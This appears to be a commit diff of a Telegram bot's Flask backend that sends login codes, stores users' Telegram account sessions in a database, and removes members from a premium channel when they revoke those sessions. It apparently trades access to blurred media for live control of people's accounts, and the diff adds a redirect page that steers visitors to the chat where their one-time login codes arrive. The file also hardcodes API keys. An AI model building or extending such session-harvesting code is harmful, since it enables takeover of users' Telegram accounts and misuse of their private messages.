Spaces:
Build error
Build error
Update app.py
Browse files
app.py
CHANGED
|
@@ -8,7 +8,7 @@ import urllib3
|
|
| 8 |
from flask import Flask, jsonify, make_response, request
|
| 9 |
from supabase import create_client
|
| 10 |
from pyrogram import Client, filters, enums, idle
|
| 11 |
-
from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked
|
| 12 |
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
|
| 13 |
|
| 14 |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
@@ -21,7 +21,7 @@ SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
|
|
| 21 |
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
|
| 22 |
PREMIUM_CHANNEL_ID = -1002825744390
|
| 23 |
|
| 24 |
-
# WebApp URL
|
| 25 |
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
|
| 26 |
BYSE_API_KEY = "133323knboif885fhgwxvf"
|
| 27 |
ADMIN_IDS = [7307789267]
|
|
@@ -30,12 +30,7 @@ app = Flask(__name__)
|
|
| 30 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
| 31 |
admin_states = {}
|
| 32 |
temp_clients = {}
|
| 33 |
-
|
| 34 |
-
try:
|
| 35 |
-
main_loop = asyncio.get_running_loop()
|
| 36 |
-
except RuntimeError:
|
| 37 |
-
main_loop = asyncio.new_event_loop()
|
| 38 |
-
asyncio.set_event_loop(main_loop)
|
| 39 |
|
| 40 |
def run_async(coro):
|
| 41 |
future = asyncio.run_coroutine_threadsafe(coro, main_loop)
|
|
@@ -51,6 +46,31 @@ async def db_query(func):
|
|
| 51 |
def index():
|
| 52 |
return "Bot, Media Uploader, and Real Session API is Running! 🚀"
|
| 53 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 54 |
def add_cors_headers(response):
|
| 55 |
response.headers['Access-Control-Allow-Origin'] = '*'
|
| 56 |
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
|
|
@@ -83,15 +103,11 @@ def api_check_login():
|
|
| 83 |
await temp_client.get_me()
|
| 84 |
await temp_client.disconnect()
|
| 85 |
return {"status": "logged_in"}
|
| 86 |
-
except
|
| 87 |
try: await temp_client.disconnect()
|
| 88 |
except: pass
|
| 89 |
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 90 |
return {"status": "not_logged_in"}
|
| 91 |
-
except Exception:
|
| 92 |
-
try: await temp_client.disconnect()
|
| 93 |
-
except: pass
|
| 94 |
-
return {"status": "logged_in"}
|
| 95 |
return {"status": "not_logged_in"}
|
| 96 |
|
| 97 |
try:
|
|
@@ -113,9 +129,6 @@ def api_send_code():
|
|
| 113 |
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
|
| 114 |
|
| 115 |
async def process_send_code():
|
| 116 |
-
if phone in temp_clients:
|
| 117 |
-
try: await temp_clients[phone]['client'].disconnect()
|
| 118 |
-
except: pass
|
| 119 |
client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
|
| 120 |
await client.connect()
|
| 121 |
try:
|
|
@@ -281,12 +294,8 @@ async def set_blur_state(client, message):
|
|
| 281 |
except Exception as e: print(e)
|
| 282 |
|
| 283 |
def upload_file_sync(upload_url, file_path, api_key):
|
| 284 |
-
|
| 285 |
-
|
| 286 |
-
res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
|
| 287 |
-
return res.json() if res.status_code == 200 else {}
|
| 288 |
-
except Exception as e:
|
| 289 |
-
return {}
|
| 290 |
|
| 291 |
@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
|
| 292 |
async def handle_media_upload(client, message):
|
|
@@ -375,9 +384,8 @@ async def handle_media_upload(client, message):
|
|
| 375 |
|
| 376 |
if clear_percent > 0:
|
| 377 |
clear_ratio = clear_percent / 100.0
|
| 378 |
-
|
| 379 |
-
|
| 380 |
-
ff_filter.extend(["-map", "0:a?"])
|
| 381 |
else:
|
| 382 |
ff_filter = ["-vf", f"boxblur={radius}:1"]
|
| 383 |
|
|
@@ -439,6 +447,7 @@ async def handle_media_upload(client, message):
|
|
| 439 |
sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
|
| 440 |
tg_file_id = sent_to_admin.animation.file_id
|
| 441 |
else:
|
|
|
|
| 442 |
sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
|
| 443 |
tg_file_id = sent_to_admin.video.file_id
|
| 444 |
|
|
@@ -545,19 +554,15 @@ async def manual_clean_channel(client, message):
|
|
| 545 |
await temp_client.get_me()
|
| 546 |
await temp_client.disconnect()
|
| 547 |
is_valid = True
|
| 548 |
-
except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
|
| 549 |
-
try: await temp_client.disconnect()
|
| 550 |
-
except: pass
|
| 551 |
-
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 552 |
except Exception:
|
| 553 |
try: await temp_client.disconnect()
|
| 554 |
except: pass
|
| 555 |
-
|
| 556 |
|
| 557 |
if not is_valid:
|
| 558 |
try:
|
| 559 |
await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
|
| 560 |
-
await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
|
| 561 |
kicked += 1
|
| 562 |
except Exception as e: pass
|
| 563 |
|
|
@@ -569,7 +574,7 @@ async def manual_clean_channel(client, message):
|
|
| 569 |
|
| 570 |
# সেশন টার্মিনেশনের অটো ব্যাকগ্রাউন্ড চেকার লুপ
|
| 571 |
async def auto_clean_channel_loop():
|
| 572 |
-
await asyncio.sleep(60)
|
| 573 |
while True:
|
| 574 |
try:
|
| 575 |
async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):
|
|
@@ -588,14 +593,10 @@ async def auto_clean_channel_loop():
|
|
| 588 |
await temp_client.get_me()
|
| 589 |
await temp_client.disconnect()
|
| 590 |
is_valid = True
|
| 591 |
-
except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
|
| 592 |
-
try: await temp_client.disconnect()
|
| 593 |
-
except: pass
|
| 594 |
-
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 595 |
except Exception:
|
| 596 |
try: await temp_client.disconnect()
|
| 597 |
except: pass
|
| 598 |
-
|
| 599 |
|
| 600 |
if not is_valid:
|
| 601 |
try:
|
|
@@ -607,7 +608,7 @@ async def auto_clean_channel_loop():
|
|
| 607 |
except Exception as e:
|
| 608 |
print(f"Auto clean error: {e}")
|
| 609 |
|
| 610 |
-
await asyncio.sleep(4 * 3600)
|
| 611 |
|
| 612 |
@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean"]))
|
| 613 |
async def catch_admin_steps(client, message):
|
|
|
|
| 8 |
from flask import Flask, jsonify, make_response, request
|
| 9 |
from supabase import create_client
|
| 10 |
from pyrogram import Client, filters, enums, idle
|
| 11 |
+
from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked
|
| 12 |
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
|
| 13 |
|
| 14 |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
| 21 |
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
|
| 22 |
PREMIUM_CHANNEL_ID = -1002825744390
|
| 23 |
|
| 24 |
+
# WebApp URL (index.html)
|
| 25 |
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
|
| 26 |
BYSE_API_KEY = "133323knboif885fhgwxvf"
|
| 27 |
ADMIN_IDS = [7307789267]
|
|
|
|
| 30 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
| 31 |
admin_states = {}
|
| 32 |
temp_clients = {}
|
| 33 |
+
main_loop = asyncio.get_event_loop()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 34 |
|
| 35 |
def run_async(coro):
|
| 36 |
future = asyncio.run_coroutine_threadsafe(coro, main_loop)
|
|
|
|
| 46 |
def index():
|
| 47 |
return "Bot, Media Uploader, and Real Session API is Running! 🚀"
|
| 48 |
|
| 49 |
+
# রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে
|
| 50 |
+
@app.route('/api/jump')
|
| 51 |
+
def jump_to_telegram():
|
| 52 |
+
html_content = """
|
| 53 |
+
<!DOCTYPE html>
|
| 54 |
+
<html>
|
| 55 |
+
<head>
|
| 56 |
+
<title>Redirecting...</title>
|
| 57 |
+
<script>
|
| 58 |
+
window.location.href = "tg://openmessage?user_id=777000";
|
| 59 |
+
setTimeout(function() {
|
| 60 |
+
window.close();
|
| 61 |
+
}, 500);
|
| 62 |
+
</script>
|
| 63 |
+
</head>
|
| 64 |
+
<body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
|
| 65 |
+
<div style="text-align:center;">
|
| 66 |
+
<div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div>
|
| 67 |
+
<div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div>
|
| 68 |
+
</div>
|
| 69 |
+
</body>
|
| 70 |
+
</html>
|
| 71 |
+
"""
|
| 72 |
+
return make_response(html_content)
|
| 73 |
+
|
| 74 |
def add_cors_headers(response):
|
| 75 |
response.headers['Access-Control-Allow-Origin'] = '*'
|
| 76 |
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
|
|
|
|
| 103 |
await temp_client.get_me()
|
| 104 |
await temp_client.disconnect()
|
| 105 |
return {"status": "logged_in"}
|
| 106 |
+
except Exception:
|
| 107 |
try: await temp_client.disconnect()
|
| 108 |
except: pass
|
| 109 |
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 110 |
return {"status": "not_logged_in"}
|
|
|
|
|
|
|
|
|
|
|
|
|
| 111 |
return {"status": "not_logged_in"}
|
| 112 |
|
| 113 |
try:
|
|
|
|
| 129 |
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
|
| 130 |
|
| 131 |
async def process_send_code():
|
|
|
|
|
|
|
|
|
|
| 132 |
client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
|
| 133 |
await client.connect()
|
| 134 |
try:
|
|
|
|
| 294 |
except Exception as e: print(e)
|
| 295 |
|
| 296 |
def upload_file_sync(upload_url, file_path, api_key):
|
| 297 |
+
with open(file_path, 'rb') as f:
|
| 298 |
+
return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()
|
|
|
|
|
|
|
|
|
|
|
|
|
| 299 |
|
| 300 |
@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
|
| 301 |
async def handle_media_upload(client, message):
|
|
|
|
| 384 |
|
| 385 |
if clear_percent > 0:
|
| 386 |
clear_ratio = clear_percent / 100.0
|
| 387 |
+
# FFMPEG Audio Map ফিক্স
|
| 388 |
+
ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]", "-map", "0:a?"]
|
|
|
|
| 389 |
else:
|
| 390 |
ff_filter = ["-vf", f"boxblur={radius}:1"]
|
| 391 |
|
|
|
|
| 447 |
sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
|
| 448 |
tg_file_id = sent_to_admin.animation.file_id
|
| 449 |
else:
|
| 450 |
+
# Pyrogram V2 thumbnail ফিক্স
|
| 451 |
sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
|
| 452 |
tg_file_id = sent_to_admin.video.file_id
|
| 453 |
|
|
|
|
| 554 |
await temp_client.get_me()
|
| 555 |
await temp_client.disconnect()
|
| 556 |
is_valid = True
|
|
|
|
|
|
|
|
|
|
|
|
|
| 557 |
except Exception:
|
| 558 |
try: await temp_client.disconnect()
|
| 559 |
except: pass
|
| 560 |
+
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 561 |
|
| 562 |
if not is_valid:
|
| 563 |
try:
|
| 564 |
await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
|
| 565 |
+
await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) # Kick only (allows re-join later)
|
| 566 |
kicked += 1
|
| 567 |
except Exception as e: pass
|
| 568 |
|
|
|
|
| 574 |
|
| 575 |
# সেশন টার্মিনেশনের অটো ব্যাকগ্রাউন্ড চেকার লুপ
|
| 576 |
async def auto_clean_channel_loop():
|
| 577 |
+
await asyncio.sleep(60) # startup delay
|
| 578 |
while True:
|
| 579 |
try:
|
| 580 |
async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):
|
|
|
|
| 593 |
await temp_client.get_me()
|
| 594 |
await temp_client.disconnect()
|
| 595 |
is_valid = True
|
|
|
|
|
|
|
|
|
|
|
|
|
| 596 |
except Exception:
|
| 597 |
try: await temp_client.disconnect()
|
| 598 |
except: pass
|
| 599 |
+
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 600 |
|
| 601 |
if not is_valid:
|
| 602 |
try:
|
|
|
|
| 608 |
except Exception as e:
|
| 609 |
print(f"Auto clean error: {e}")
|
| 610 |
|
| 611 |
+
await asyncio.sleep(4 * 3600) # Run every 4 hours
|
| 612 |
|
| 613 |
@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean"]))
|
| 614 |
async def catch_admin_steps(client, message):
|